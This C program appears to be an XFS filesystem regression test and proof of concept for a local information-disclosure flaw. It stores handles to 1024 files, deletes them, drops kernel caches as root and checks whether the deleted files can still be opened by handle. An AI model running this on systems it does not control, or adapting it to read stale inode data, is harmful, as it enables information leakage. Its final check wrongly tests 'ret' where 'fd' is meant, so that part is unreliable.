* stale_handle.c - attempt to create a stale handle and open it * * Copyright (C) 2010 Red Hat, Inc. All Rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * * Credit: David Chinner * The XFS filesystem is prone to a local information-disclosure vulnerability. * * Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks. * Denial-of-service attacks may also be possible. */
#define TEST_UTIME
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> #include <errno.h> #include <xfs/xfs.h> #include <xfs/handle.h>
#define NUMFILES 1024 int main(int argc, char **argv) { int i; int fd; int ret; int failed = 0; char fname[MAXPATHLEN]; char *test_dir; void *handle[NUMFILES]; size_t hlen[NUMFILES]; char fshandle[256]; size_t fshlen; struct stat st;
if (argc != 2) { fprintf(stderr, "usage: stale_handle test_dir\n"); return EXIT_FAILURE; }
test_dir = argv[1]; if (stat(test_dir, &st) != 0) { perror("stat"); return EXIT_FAILURE; }
ret = path_to_fshandle(test_dir, (void **)fshandle, &fshlen); if (ret < 0) { perror("path_to_fshandle"); return EXIT_FAILURE; }
/* * create a large number of files to force allocation of new inode * chunks on disk. */ for (i=0; i < NUMFILES; i++) { sprintf(fname, "%s/file%06d", test_dir, i); fd = open(fname, O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd < 0) { printf("Warning (%s,%d), open(%s) failed.\n", __FILE__, __LINE__, fname); perror(fname); return EXIT_FAILURE; } close(fd); }
/* sync to get the new inodes to hit the disk */ sync();
/* create the handles */ for (i=0; i < NUMFILES; i++) { sprintf(fname, "%s/file%06d", test_dir, i); ret = path_to_handle(fname, &handle[i], &hlen[i]); if (ret < 0) { perror("path_to_handle"); return EXIT_FAILURE; } }
/* unlink the files */ for (i=0; i < NUMFILES; i++) { sprintf(fname, "%s/file%06d", test_dir, i); ret = unlink(fname); if (ret < 0) { perror("unlink"); return EXIT_FAILURE; } }
/* sync to get log forced for unlink transactions to hit the disk */ sync();
/* sync once more FTW */ sync();
/* * now drop the caches so that unlinked inodes are reclaimed and * buftarg page cache is emptied so that the inode cluster has to be * fetched from disk again for the open_by_handle() call. */ system("echo 3 > /proc/sys/vm/drop_caches");
/* * now try to open the files by the stored handles. Expecting ENOENT * for all of them. */ for (i=0; i < NUMFILES; i++) { errno = 0; fd = open_by_handle(handle[i], hlen[i], O_RDWR); if (fd < 0 && errno == ENOENT) { free_handle(handle[i], hlen[i]); continue; } if (ret >= 0) { printf("open_by_handle(%d) opened an unlinked file!\n", i); close(fd); } else printf("open_by_handle(%d) returned %d incorrectly on an unlinked file!\n", i, errno); free_handle(handle[i], hlen[i]); failed++; } if (failed) return EXIT_FAILURE; return EXIT_SUCCESS; }
|